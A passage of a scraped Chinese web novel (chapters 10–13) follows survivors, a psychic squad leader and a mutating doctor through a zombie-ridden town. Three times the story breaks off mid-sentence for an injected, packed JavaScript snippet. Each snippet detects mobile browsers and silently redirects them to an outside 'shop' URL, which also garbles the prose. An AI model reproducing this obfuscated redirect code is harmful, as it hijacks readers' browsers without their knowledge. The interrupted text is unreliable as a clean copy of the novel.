丘回解释：“它们通常藏在丧尸的脑袋里面，十只丧尸里，或许有那么一两只会有。珍贵玩意儿，可以拿来强化异能。” “现在你们可以走了。”池见衍一一扫过走廊里的人，在看见迟椿时，他的视线停驻一秒，须臾又移开，“或者留下。” 10.第 10 章 最终大家还是决定和他们一起离开。 所有人都隐隐察觉到，那些丧尸比以前狂躁不少，行动也更加敏捷。 比起在这里苦等救援，他们宁愿冒险。 死在路上，总好过耗死在这看不到尽头的空望里。 第三天，丘回找到一辆没报废的大巴。 按计划，他骑摩托在前面开路，医生开大巴，带着其他人跟在后面。 出发前池见衍与丘回规划过路线，挑选了偏僻人少的小路，虽然时间用得久些，但也效果显著，一路上几乎没遇上成群的尸潮。 偶尔碰见零星几个丧尸，也因为行动缓慢，被车队远远甩在后面。 四十里路不算远，放平时只要半个多小时，但他们绕了山路，走了接近三小时，前方才陆续出现低矮的建筑物。 丘回将车停在加油站，准备再弄点汽油。 这加油站在城镇边沿，周围住户不多，大巴车的动静引来了一些丧尸的注意，但在他们靠近之前，就被几发子弹解决了。 池见衍收回枪，懒洋洋躺在副驾驶的位置上，说：“半小时后出发。” 言外之意就是行动自便了。 其他人警惕观察四周，陆续下车，或是找物资，或是找洗手间。 一路颠簸，迟椿头晕得厉害，下车除了找物资，还想顺便散散心。 她拎着撬棍，和闻知梦、松游两人悄声进了加油站的便利店。 不大的便利店里，货柜东倒西歪，东西被拿得差不多了，连玻璃水都没留下几瓶。 一同进来的闻知梦泄气道：“又没了，怎么走哪儿都是空的——小椿，松游，我们分开搜吧，看看能不能找着有用的，说不定还能找着仓库。” 迟椿点点头。 三人分开行动，闻知梦去了自助区，松游搜柜台，她则往最里面的员工休息区走。 越往里光线越暗，她尽量贴着墙，呼吸也屏得紧。 但就在她推开门的瞬间，忽然听见背后有微弱的呜呜声。 像是从喉咙里挤出来的，类似于狼狗威胁的声音。 迟椿的脊背一阵发寒，浑身紧绷，心脏的跳动也失稳。 她飞快转过身，一把砍刀迎面劈来。 银灰色的刀面作挡，她看不见持刀者是谁，只瞥见攥着刀柄的手。 那只手宽大修长，上面遍布着细小的伤口，覆着层薄茧，手背的青筋微微鼓起，压着偾张的力量感。 她用撬棍挡了下。 两物相撞，对方的力气大到离谱，震得她整条胳膊都发麻。 那把砍刀在半空顿了瞬。 她趁机后退几步，顺手抓起旁边盆栽里的枯土，往前一撒。 迟椿本来想撒着对方的眼睛，再趁机逃跑。 谁承想这把土刚撒出去，昏暗的角落忽跃出道硕大的身影。 是条狼狗。 但它比一般的狼狗大上许多，甚至比成年老虎还大。 它覆着一身灰黑色的毛，双耳高竖，黑色的眼睛沉沉往下压着，眼白微微泛红，显得锐利凶悍，嘴巴呲开，露出森白獠牙。 不光长相凶狠，它还速度奇快，迟椿刚想好怎么应对，还没来得及行动，它就已经扑上来了。 这条狼狗立起来比人还高，力气也与它主人一样大，大到出奇。 两只巴掌大的肉垫压在她的肩头上，轻易就将她扑倒。 迟椿仰面倒地，脊背撞着坚硬的瓷砖，疼得她呼吸一窒。 更别提她身上还压着沉甸甸的重量，一时间，她竟觉胸腔里的气都仿佛被挤没了。 好难受。 她大张开口，吃力而无声地喘了口气。 但她只能强忍住，赶在这头凶兽咬断她的脖子前，尽量反击它。 她勉强抬起手，甩动撬棍。 一撬棍下去，砸出声闷响，狼狗纹丝不动。 它被这一棍打得毛发炸立，喉咙里滚出威胁式的低吼，眼看着就要攻击她。 可就在扑咬住她的前一秒，它忽然合拢嘴，直勾勾盯着她。 迟椿摸动着撬棍，心想打它不成，就用尖端刺它肚子。 狼狗却在这时低下脑袋，用鼻子抵住她的颈子，嗅嗅闻闻。 迟椿一怔，偏过视线。 她看不见它的脸，只感觉到一团毛茸茸的大脑袋在拱她的脖颈。它的狗鼻子湿漉漉的，又有点冰，顺着颈子来回地蹭，简直是毫无分寸的闻法。 还有一股浓厚的狗味儿——倒不臭，活像闷久了的糯米饭。 “回来。”一道有点沙哑的声音响起。 迟椿越过它，看见个身形高大的男人，他一手拎着把砍刀，另一手捂着眼睛，正粗蛮揉弄。 狼狗依依不舍地呜咽了声，还在嗅闻她的味道，狗鼻子反复蹭着她的脖颈，留下湿润水迹。 那条刀锋一样的尾巴，已经开始晃摆甩动。 迟椿忍不住松开撬棍，两手捧着它的大脑袋，使劲往后推。 “别这样，你有些……太热情了。”她被它拱得有点痒，想笑，可又得忍住，“等等——不要舔我的脸。” 在她说出后半句话的刹那，那个男人忽然停下动作，语气里多了点怒意：“回来！” 比老虎还大的一条狼狗，竟然发出连串的哼唧声。 它往下压了压高立的耳朵，尾巴也耷拉着，像匹马驹似的跑回男人身边。 迟椿撑着地坐起身，这时才看清男人的模样。 同这条身形异常硕大的狼狗一样，他也是锋利的。 寸头，剑眉戾眼，身穿无袖背心，勒出鼓囊囊的胸肌，两条胳膊也覆着线条流畅的肌肉，但不至于太过夸张，恰到好处。 但被她迎面撒了把土，那双漆黑的眼睛红通通的，活像哭过。 加上旁边那条蔫头耷脑的大狼狗，竟然显得有点可怜。 “抱歉，我以为你是丧尸。”他一只眼睛微微眯起，把砍刀收回背包，“它刚才攻击你，也是把你错认成了丧尸，这座镇上没什么活人了。” “没事，倒是我……不好意思，因为你攻击得太突然，我才冲你撒土。”迟椿犹疑看向那条狼狗，“还打了它一棍……” 尽管他攻击在先，现在反而是他伤得更严重。 “不要紧。”他没什么表情地说，伸手拉她。 迟椿握住他的手，指腹摸着一点粗粝的茧子，借力起身。 那条身形庞大的狼狗上前，它远不像之前那样凶悍，耳朵高竖，眼神澄澈，正好奇打量着她。 她问：“你是住在这镇上吗？” 刚问出口，男人身上就传来清脆铃声。 很小， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797915|190120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但在这死寂的空间里尤为明显。 他从怀里取出个手机，摁掉闹铃。 手机。 迟椿已经很久没用过这玩意儿了，心知不太礼貌，但还是忍不住看了两眼。 池见衍他们也用联络器，和手机很像，不过多了监测精神力和大群丧尸的功能。 “嗯，”他简单应了声，权当对她问题的应答，“我还有事，先走了。” 他说完就直接离开了，没从前门走，而是打员工休息区的窗户出去——那外面停着辆重型机车。 迟椿猜那条狼狗或许是太久没见过活人，跳过窗户前回头看了她好几眼。 机车的轰鸣引来了外面人的注意。 松游快步走进，看见房中什么东西都没有，便问她情况。 她还在想那条狼狗。 它接触她时，她感觉到了明显的精神力波动。 那些精神力像是厚重的潮水，随着大狗的气味一同扑涌向她，恨不得将她全部包裹起来。 是沾染上了谁的精神力，还是……精神体的具象化？ 毕竟她从没见过这么大的狗，体型已经大到超出常理了。 可这之前，她也从没见过精神体能具象化的。 松游：“迟椿？” 迟椿回神，神态温和：“我没什么事，大概是这镇上的幸存者弄出来的动静。” “这里还有幸存者吗？”松游侧眸，透过窗户眺望着这座小县城的一角。 灰蒙蒙的建筑看起来格外陈旧，难以想象昔日的生机。 其他人也相继进来，纷纷问她什么动静，听她说没事后，大家松了口气，其中一个人说：“快到时间了，走吧，池队长说要赶在天黑前找到藏身点。” “好。”迟椿和他们一块儿离开。 一行人最终选定加油站附近的一家民宿作为藏身点。 这地方位置偏僻，丧尸少，房间多。 池见衍和丘回在前，先行解决游荡在民宿附近的丧尸。 丘回飞快处理掉几个丧尸，对池见衍说：“队长，这附近的丧尸多数都被解决了，都是一击毙命，处理方式很成熟，但没有精神力使用的痕迹——我们要找的人，是不是还不知道怎么使用精神力？” 池见衍踩着一具丧尸尸体，躬身看他断裂的脖颈。 他没应他的话，而是说：“这具丧尸的脖子断了。” 丘回没仔细看，慨叹道：“割断这玩意儿的脑袋，可需要不少力气。看来那个异能者的力气不小，或许能和秋副队长一较高下。” “割断？”池见衍笑笑，“睁开你的眼睛仔细看清楚，我带你出来，可不是为了让你退化成一个瞎子。” 丘回瞬间心紧，忙观察起那具尸体。 他仔细查看，才发现脖颈断裂处切口没那么平整，而往下凹，呈不规则的撕裂状，边沿还分布着锯齿状的痕迹。 “这是……”他震愕，“咬伤？他是被直接咬下了脑袋？但怎么可能，这就是个小县城，哪里会有那么大的生物，除非——” 他愣住，猛然看向池见衍。 除非，那个人的精神体已经能够具象化了——而这在基地里，至少是副队长的级别。 池见衍踢开那具丧尸：“看来我们要找的人，对精神力的运用程度已经娴熟到超乎想象了啊。” 11.第 11 章 等所有人都转移进民宿后，丘回说：“接下来会在这里停留一段时间，队长、医生和我会长时间待在外面，安全方面需要各位自行保障。等找到异能者，我们就前往基地。” 幸存者还剩七个，其中有一对姐妹。 她俩问：“这些我们都知道，也不会贸然干扰你们的计划，但还是想问问，大概需要等多久？” 丘回：“这……我没法给出具体时间，但应该用不了多久，精神力检测仪已经探测到异能者的精准位置。” “那万一对方不愿意走呢？” “不可能。”丘回笃定道。 再没人追问，大家也都清楚，比起有安全保障的基地，没人愿意待在这种不剩几个活人的鬼地方。 闻知梦问：“有没有我们能帮得上忙的地方？” 丘回：“没——” “有啊。”池见衍打断他，笑眯眯的，“我还需要一个助手。” 丘回看他：“队长？” 池见衍抱臂靠在墙边：“我失去了两个队员，他们原本负责帮忙照看医生，还有替他送安抚剂——有时候那些丧尸太难缠，打斗的时间久了，精神力难免失控。” 医生低着脑袋说：“我的异能可以精准感知精神力的波动，不过没有对敌的能力。” “简单来说，我需要一个助手。”池见衍看向迟椿，“迟小姐，可以吗？” 迟椿还没来得及答复，松游就拧眉道：“为什么是她？我也能帮忙。” 池见衍笑说：“学生，这可不是志愿服务，况且现在你连学校都没了，也不需要靠这些莽撞行径加学分。” “你！” “你们都有异能，可小椿姐没有，她去实在太危险了。”林叙闻接过话茬，他犹豫一下，“只是送安抚剂而已，不如让我去。” “好。”池见衍一口应下。 但大家已经多少了解他的脾气，清楚他就算答应，也不一定是好事。 果不其然，下一秒他就说：“不过要提前说清楚一件事。” 林叙闻：“什么？” “在进入基地后，如果你们之中有异能者，可以分配到不错的地方和工作。”池见衍说，“对于你的同伴来说，你可是块不错的金疙瘩。你如果想去，不如先问问其他人愿不愿——” “池先生，”迟椿温和打断他，说的话却直白，“不过是出去一趟而已，我随时可以去。不必说些为难的话，让大家因为难以抉择而陷入良心不安的境地。” 一旁的丘回听出她话里的指责意味，后背都在冒冷汗。 作为池见衍的队员，他最为清楚他表里不一的性情。 而池见衍的表情倒没什么变化，笑说了句：“是我疏忽了你的意愿，那就走吧，早点儿出发，也能尽快回基地。” 按照丘回的监测，精神力主要在宛关县东侧波动，也就是说，他们需要横穿整个城镇。 加油站附近紧挨着几家修车厂，他们换了辆越野车，还是依照先前的法子，绕远路。 丘回开车，医生坐副驾，迟椿和池见衍则在后排。 路上，池见衍忽然提起：“迟小姐是南城人？” 迟椿面色平静：“在进入基地前，还需要调查这些信息吗？” “虽然是保护幸存者的安全区，也没有收纳罪犯的兴趣，不做好调查，很容易给其他人带来麻烦。”池见衍瞥一眼她的手，无名指上的素圈样式简单，但很显眼，“迟小姐的家属只有你的丈夫吧，怎么不见他人影？” “死了。”迟椿平心静气说。 简单两个字落下，车里的氛围明显凝重许多。 丘回攥紧方向盘，时不时就瞄一眼后视镜，医生缩在副驾，恨不得消失。 “抱歉。”池见衍语气没变化，听不出多少真心实意。 迟椿没应他，隔着蒙了灰的玻璃窗，望着外面影绰的光景。 车转了个弯，前方突然出现好几个丧尸。 他们根本不怕撞上车，只对这个高速移动的物体表现出了莫大的兴趣，相继转过身，拦在道路中间。 距离太近，丘回咬牙说了声：“坐好。” 下一秒，他一把转动方向盘，想改道行驶，谁知旁边路上也冲出几个丧尸。 他猛踩刹车，挂了倒挡，往另一边打方向盘，急速转向来路。 但他们开车过来时，就吸引了不少丧尸的注意，那些丧尸都跟在后面。因此没跑多远，他们便迎面撞上又一波丧尸。 这下前后都有丧尸，丘回只觉头疼。 他看后视镜：“队长？” 池见衍说：“解决了再走。” 丘回停车，直接架起轻型机枪，对准了离他们最近的几个丧尸，准备扫射。 “等等。”池见衍叫停。 丘回看他。 “这里不比刚才那地方，房屋多，枪声容易引来更多丧尸。”池见衍果断道，“下车。” “是！”丘回放下枪，转而拿起把战术斧，打开车门。 池见衍：“迟小姐，劳烦你看护好医生了。” 刚刚丘回打方向太急，弄得迟椿直想吐，她这会儿还没缓过来，但还是点点头，顺手抓住撬棍。 池见衍扫一眼她苍白的脸，还有那根撬棍——这棍子不知打破了多少丧尸的脑袋，棍身都染成了黑红色。 视线再一移，他便看见她无名指上的婚戒。 那玩意儿保养得倒精细，没褪色，不过大了点儿，套在她的手指上，像是不属于她的东西。 奇怪的搭配，他想。 这念头从脑中一掠而过，他移开视线，下车，关了车门。 他俩一左一右下了车，迟椿也是头回看见怎么用异能对付丧尸。 丘回的那把战术斧看起来平平无奇，但细瞧就能发现它上面覆着白色的气流。 他狠劈向迎面冲来的一具丧尸，轻松就将丧尸的脑袋劈成两半。 丘回是贴身近战，而池见衍却能远攻。 他直接将精神力凝成箭矢状的火焰，飞快刺向那些丧尸的脑袋。 不过几秒钟，四五个丧尸就接连倒地，脑袋被烧成漆黑的焦炭。 “丘回刚完成二次进化，他的异能是风。”缩在副驾的医生小声解释，“像他这样的水平，暂时还没法灵活自如地运用异能，只能将精神力附着在匕首斧头一类的载体上，强化这些武器的锋利程度。” 迟椿看向池见衍：“池先生的精神力强度更高？” “很高，比丘回高了好几个等级。”医生说，“毕竟他可是队长级别。” 他忽然看向她。 那双眼睛里没有局促不安，反而浮现出异样的神采。 也是这时——在认识他这么多天后，迟椿才真正看清他的长相。 竟然是个很漂亮的男人。 他留着略长的漆黑碎发，发尾乱翘。 银丝眼镜下的双眸细长，眼尾略微往上挑，瞳孔颜色很浅，近似烟灰色。 乍一看有些颓废消沉，可他稍一动，就露出了一对橙红色的鸟羽状耳坠，鲜亮刺眼。 他开口，声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16802369|190120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些发颤，像是兴奋至极：“但我敢笃定，如果你能够熟练操控精神力，会比任何异能都要出色。” “我想你弄错了，”迟椿没有丝毫停顿，“我没有异能。” 说话间，她忽然看见他的眼睛覆上一层灰色的膜，将瞳孔、眼白彻底挡住。 须臾，那层膜又消失不见。 迟椿一怔。 她没来由想到了鸟类。 多数鸟类不会通过闭合眼睑来眨眼，而是借由瞬膜——就像他刚才那样。 可他明明是人。 但不等她细看，医生就古怪笑了声，移开视线，再没搭茬。 很快，池见衍和丘回就解决干净挡在路上的丧尸群。 远方还有丧尸赶来，他俩没恋战，迅速上车，驶离这里。 在到达目的地前，他们遇上了第二波丧尸潮。 是在一座大型车站的附近，规划路线时，池见衍想过尽可能避开这座车站。 原因简单，这座车站本来人流量就多，还紧靠一所学校，丧尸恐怕多到难以想象。 但他们仔细研究过地图，根本没有第二条路能走，只能硬闯过去。 而情况比他们预想的还要糟糕，不知道出于什么原因，游荡在这附近的丧尸聚集在道路中间，互相缓慢推挤着。 肉眼看过去，乌压压一片，足有成千上百只丧尸。 丘回停在较远的地方，看了眼追赶在后面的丧尸，有些头疼：“队长，这丧尸简直多得离谱。” 池见衍望向前方黑压压的丧尸。 与其说是聚集在一块儿，他们看起来更像是被什么拦在了外面。 他正打量着，余光忽瞥见迟椿。 这过分的安静吸引了他的注意力，他偏过头，看她。 她就像是没看见那些丧尸一样，眉眼平静，始终保持着温和的神色，仅是坐在那里，就仿佛能带来稳定人心的力量。 这些天他从别人口中模糊拼凑出她这个人。 那个有点儿异能的学生时常念叨—— “要不问小椿姐吧？” “还是小椿姐更可靠。” “可我想知道小椿姐怎么想，得和她商量商量。” 管理物资的那人常挂在嘴边的一句话是：“还好有小椿在。” 就连时常发牢骚的男老师，也会习惯性询问迟椿的意见。 看起来柔弱无力的女人，却在无形中成了不可动摇的支柱。 罕见而危险。 池见衍面上不显，说：“迟小姐看起来并不害怕。” “我的任务是看护医生和运送药剂，处理这类突发情况不在我的职责范围内。”迟椿与他对视，轻声说，“但既然池先生选择我做助手，想必也有信心保证，我是最后一个死在丧尸手下的人。在那之前，我想我没必要害怕——除非池先生只会空口说大话，但我知道不是那样，对吗？” 她语气温和，可在池见衍听来，却是十足的挑衅。 他心知不该冲动，但还没作出足够理智的判断，就开口应道：“当然。” 说完，他有些懊恼地皱了下眉。 “辛苦池队长了。”她说，“必要的时候，我也会尽我所能地帮忙。” 她双手交叠着搭在膝上，十分沉静，看人的眼神又总真诚万分，一字一句都往心里说去，让人无法怀疑话里的可信度。 池见衍忽然收敛起散漫神情，眼睛微眯，俨然一副看待对手时才有的审视神情。 “好啊。”他笑了笑，“那就……有劳迟小姐。” 12.第 12 章 那边的丧尸潮中，忽然有四五个转过身，发现了他们。 突然！迟钝滞缓的丧尸像是发了疯一样，狂奔向停在路中间的越野车。 其他丧尸也陆陆续续看见他们，争相跟上。 一时间，丧尸的嘶嚎堪比海潮般，翻涌震天。 一行人又陷入前后夹击的困境，这次池见衍和丘回采用了远程攻击。 丘回架起枪，将精神力附着在子弹上，开始扫射。 有精神力加强，子弹的威力强上许多，一发子弹接连穿破几具丧尸的头颅。 池见衍的攻击方式更直接，他先用精神力移动那些废弃的车辆，全都砸向丧尸潮，再将精神力凝成火焰，打向那些废车。 车辆接二连三地爆炸，须臾就燃烧成一片熊熊火海。 迟椿隔着玻璃，远远望向使用异能的池见衍。 “偶尔瞧两眼没关系，但你最好别一直盯着他们看。”医生提醒。 迟椿问他为什么。 “几乎大部分人在亲眼目睹异能者和丧尸作战后，都会受到心理创伤。”医生窝在副驾里，摩挲着保温箱，“尽管那些玩意儿根本不知道疼，可在多数活人眼里，它们仍旧是‘人’。杀死它们，或者看着它们被砍掉脑袋，都要承受不小的心理负担。按目前的研究成果来看，异能者的精神体污染和畸变多少也受这影响。” 迟椿问：“可如果不看，怎么能确定他精神力的状态？” “我会实时监测队长的精神力，哪怕不用眼睛。”医生顿了下，冒出句和外表完全不符的窝囊话，“我也只能做到远距离观测，毕竟我可不能死在这儿。” 迟椿对他的印象就又多了一条—— 很漂亮，但也很贪生怕死的胆小鬼。 她不再看他，仍旧专心观察池见衍使用异能。 他俩硬生生从丧尸潮中“轰”出一条路，眼看着能通车了，丘回也不多耽搁，喊了声“队长”，就直接回到车上。 越野车再次启动，他将油门踩到底，径直往前冲，一路上撞飞了好几个丧尸。 但这时，后排的迟椿发现了不对劲：“前面有堵砖墙。” 在丧尸潮的前方，砌着一排砖墙。 正是有这堵墙挡着，那些丧尸才没法继续往前。 “没事，”丘回说，“我直接冲过去。” 迟椿：“可要是能冲过去，这些丧尸怎么一直被阻挡在外？” 丘回这时才察觉不对劲，松了点油门，脚犹豫着压在了刹车上，但迟迟没踩下去。 “有、有精神力在波动！”医生忽然惊恐道，“丘回，是那堵墙，停下！停下！！” 丘回面露慌意，猛踩刹车。 他踩得飞快，车速急速下降，但车头还是撞上了。 瞬间，车被弹飞。 这一下的冲击力极大，车头直接报废。 要是刚才他没降速，只怕整辆车都要被撞碎了。 四周又有丧尸涌来，丘回摸了把糊在眼睛上的血，来不及多犹豫，就猛打方向，往另一边开去。 饶是与丧尸打过无数回交道，面对被丧尸包围的状况，他也慌了：“队长！” 迟椿揉了揉前额——刚才他猛踩刹车，她一下撞在前座靠背上，到现在都还疼。 她忽然说：“往车站里面开。” “你疯了？”丘回不可置信，“那里面不知道有多少丧尸，打不过也不能直接送死啊！” 池见衍也被撞得头晕。 但他忽道：“听她的。” 丘回：“队长？” 池见衍却已经降下车窗，抓住窗框上沿，跃上车顶了。 他踢开一具想扒上车的丧尸，直接用异能开路。 不得已，丘回只能咬牙往车站开。 有池见衍拿异能开路，一路畅通无阻。 赶在这辆车报废前，他们顺利进入车站。 车停稳在入站口，一行四人快速下车，往最近的一栋楼赶去。 一楼是几家饭店，他们直接往二楼跑，池见衍用火焰逼退紧跟在身后的一拨丧尸。 赶在丧尸追上来前，他们躲进了二楼的一家理发店。 这栋楼是十几年前的老房子，理发店还没安装玻璃门，而是卷闸门。 迟椿一进去，就抓下靠在墙边的一根长钩，勾下了卷帘门。 随着“哗啦”一声响动，光线被隔绝在外。 几人还没来得及喘口气，忽听见身后有嘶叫声。 迟椿迅速转过身，一棍子敲在一具丧尸的脑袋上，打得他脑浆四溅。 丧尸旁边，医生双目惊愕，显然是还没回过神。 池见衍拈净刚成形的一簇火焰：“反应挺快。” 迟椿看了眼医生：“毕竟接了这桩活。” 医生大喘一气，苍白的脸上逐渐回血。 “走吧，往里面躲。”迟椿扯住医生往里走，“刚才我看了下，这栋楼离那层砖墙很近，如果想要过去，可以等丧尸安静下来了，再试试。” 丘回这才明白她为什么要进这车站，不由惊叹于她的果断，但他仍有疑惑：“可那堵墙上有精神力附着。” “是，精神力。”迟椿温声说，“我想，你们对精神力的了解要远高于我。” 言外之意，剩下的问题需要他们自己来解决。 丘回没法反驳这话。 往里走有好几个房间，医生让池见衍和丘回各待一间，他则拉着迟椿去了另一个房间。 他翻找着药，并说：“我要联络基地的人，想办法在那堵精神力墙上打开一个缺口。你去送药，他们刚才消耗了不少精神力，随时都有狂化的风险。” 他说着，从保温箱里取出两支安抚剂，递给她。 迟椿接过，发现两支安抚剂的颜色不同，分别标注着A和C。 医生没抬头：“C级安抚剂给丘回用，A级药效更强，使用后会短时间进入睡眠状态，用在池队长身上。” 迟椿应好，转身出门。 医生则拿出一个改造过的联络器，拨通号码。 不一会儿，对面传来声音：“喂喂喂？” 断断续续的，还很含糊，听起来像在吃东西。 医生：“秋副队长，我们目前在D城宛关县，遇到了一点麻烦。” “出了基地就这么狼狈啊，所以才说你们队都是些没用的人。”对面那人笑了声，吊儿郎当的，“那现在是要死了吗？虽然很麻烦，但为了你们体内那点晶核，也是可以辛苦一场赶来收尸的哦。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16806976|190120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >医生无视了他的话：“我们副队还在外面出任务，麻烦秋副队长帮忙申请解禁令，将池队长与丘回的精神力再解开5%。” 说完，他也不管对方怎么回复，直接挂了。 他正要去看看池见衍和丘回的情况，忽然感觉到肩胛骨一阵剧痛。 医生痛喘出声，跌跪在地，他低伏下了身，手越过肩膀紧压住肩胛骨，摸着了一手黏腻的血。 疼。 肩胛骨像是被人拧碎了，骨头仿佛在皮肉下流动、翻搅，磨出让人心绞的剧痛。 “呃——嘶……”他的喘息声更大，整个人战栗不止，细黑的额发很快就被冷汗浸湿。 干涩的喉咙不断吞咽着，他撑着地，勉强支起身，膝行着靠近保温箱。 另一边的肩胛骨也开始疼。 疼到他两条胳膊都要失去知觉，无力地垂落在身体两侧。 他又低伏下去，不住颤抖。 两枚橙红色的耳坠在漆黑的墨发中抖动，比那更显眼的是他背上的血。 肩胛骨附近冒出的血逐渐浸透衣服，而那血迹下似乎还藏着什么东西，像虫一样蠕动着，撑起他薄薄的衣服。 这使他看起来像一只被折断翅膀的，被迫低伏的脆弱的鸟儿。 医生痛吟得更厉害。 半透明的瞬膜覆盖住他的眼瞳，再消失，很快又出现……泪水从中流出，顺着那高挺的鼻梁流下，划过苍白的脸颊，蓄在那浅浅凹陷的嘴角。 他的肌肉开始痉挛，在情况变得更糟糕前，医生咬牙撑起身，倾过上半身，够着了一支安抚剂。 是C级，还是B级……？ 医生的视线有些模糊，不足以支撑他看清药剂上的文字。 但眼下也顾不上那么多了。 他盯准青筋迸出的胳膊，毫不犹豫地，狠狠扎了下去。 针头刺破皮肉，药剂被注入。 尖锐的刺痛过后，肩胛骨的剧痛逐渐被麻痹。 原本狂乱不安的精神力缓慢平息，紧随而至的是一阵倦意。 医生侧靠着墙壁，顺着前额将汗湿的头发往后捋了把，露出那双烟灰色的眼睛。 好困…… 但还得去看看那边的情况。 可是——好困…… 他疲倦眨了下眼，浑身放松下来，不受控制地缓缓合上眼。 另一边，迟椿拿着药剂往外走。 沉重的背包在此时成了负担，她将包顺手放在门口，快步走进丘回所在的房间。 她离开没多久，背包忽然抖了抖。 不一会儿，一团肉色的畸形种钻出了缝隙。 它的一半身躯耷拉下去，像一团泥巴似的在半空晃动。 一双模糊的眼睛轮廓，对准了卷闸门下摇晃的光影。 是丧尸在门口走动。 好香。 它闻到了一股熟悉的香味，也知道该怎么把这香味吞进肚子里——只要把那些奇怪的人的脑袋打开，就能找到可口的食物了。 虽然要很走运很走运，才能碰上一两颗。 但是——不行。 它缩回去，眼巴巴盯着那些投在地上的影子。 不行。 不行。 不能乱跑。 13.第 13 章 迟椿进房间时，丘回正在包扎伤口。 刚才他过度使用精神力，导致虎口开裂，等反应过来，已经流了满掌血。 “迟小姐。”他系好止血绷带，起身。 “是受伤了吗？”迟椿上前。 “没什么大事，一点小伤。”丘回干笑两声，“我很少出外勤，又太紧张，没注意下手的力道。” 迟椿关切道：“一定要保护好伤口创面，那些丧尸的血和肉都带有传染性，小心不要让伤口碰到。” 丘回只觉她的神情和言语都像暖流一般，连同他的烦躁情绪都被濯洗干净。 他不由得放松了些，颔首：“多谢迟小姐——是送安抚剂吗？” “嗯。”迟椿递给他，“医生说要尽快使用。” “好。”丘回也不犹豫，接过，直接扎了针，“迟小姐放心，我目前没有感觉到精神力有什么异样。至于队长……迟小姐不要过多在意他的一些话，虽然有时候猜不透他在想什么，但队长不会把人的性命当作儿戏。” 迟椿温声说：“不用这么客气，可以直接叫我名字，迟椿，椿树的椿。” 却没提到池见衍。 丘回不好意思地抓抓头发：“……好。” 还有一支药剂要送，迟椿没有逗留太久，转而去了池见衍所在的房间。 房门紧闭，她搭在门把手上，忽然感觉到一阵熟悉的窒息感。 她一怔，飞快拧开门把手。 房中，池见衍瘫倒在地，正痛苦喘息着。 混乱的精神力充斥着整个房间，那些精神力时不时就变成或大或小的火苗，在空中横冲直撞。 是精神力狂化的症状。 迟椿关上门，锁紧，几步上前，一把捞起他的胳膊，扎下安抚剂。 A级药剂被缓慢推进，她这时才发现，他的侧颈竟然长出些暗红色的蛇鳞，那些鳞片像是细密的红宝石切片一样，熠熠生辉，整齐排布在他的脖子上。 随着他喘息，鳞片也微微翕合着。 迟椿意识到什么，视线落在他嘴上。 喘息时，他的嘴也张开些许，隐约能看见里面长出了尖利的长牙。 迟椿按住他的唇，手指微微一推，就将他的嘴抵开。 她也得以看见了那两枚倒钩状的蛇牙。 但她没就此停下，而是伸进两指，毫不客气地碾了碾他的上颚。 堪称尖利的痒麻瞬间袭上，哪怕意识不清，池见衍仍旧挤出声压抑的哼喘，面部肌肉小幅度痉挛，嘴巴也张得更开。 迟椿因此看见了他藏在口中的东西。 是条鲜红色的，软韧的蛇信子。 细长，顶部开叉，随着他呼吸在急速抖动。 她捏住了那条蛇信子，池见衍哽咽出一声失控的喘。 “竟然是真的……”她无视了他过于急促的呼吸，浑身微小的颤栗，还有那突然狂躁的精神力，专心揉捏着蛇信子，喃喃，“是因为短时间内使用太多精神力，身体也出现了畸变吗？” 他无意识抬起手，但在他抓住她前，迟椿已经收回手。 她跪坐在他身边，擦干净手，双手交握搭在膝上。 她没什么表情地俯视着他，观察着他因痛苦而神态扭曲的面孔。 等待药剂起效是一件耗费心神的事。 时间一分一秒过去，他的精神力波动越发剧烈，威压也强大到震得人呼吸都艰难。 渐渐地，房中又涌现出红雾。 迟椿已经见识过一次精神力紊乱，知道这些红雾的出现代表着什么。 要是再继续发展下去，会危及他们的性命不说，动静还很可能引来丧尸。 迟椿微微皱了下眉，不过很快就恢复成温和的神态。 她俯身，手搭在他的额心上，轻声说：“真是恶劣的人，清醒的时候摆出些高傲自大的作派，昏迷了也要惹来些麻烦。” 话落，她调动一点精神力。 仅是一点。 少到像是草叶上摇摇欲坠的一滴露珠，茫茫黑夜中的一豆火苗。 却像是滴入水中的一滴墨，无声扩散开。 考虑到他的精神力狂化程度并不严重，这次她没有进入他的精神域，只打算进行一次浅层净化。 她操控着精神力，一点、一点覆盖住半空中时隐时现的红雾。 两人精神力贴合的瞬间没什么感觉，可当她试图融入他的精神力时，二者的摩挲便带来些许不明显的酥麻，并顺着精神力回流至她脑中，逐渐蔓延开。 这点酥麻带来一瞬的目眩神迷，她呼吸稍滞，脊背略微绷紧。 池见衍大概也有同样的感受，他眉头微舒，很快又拧紧，喉间溢出断断续续的气音。 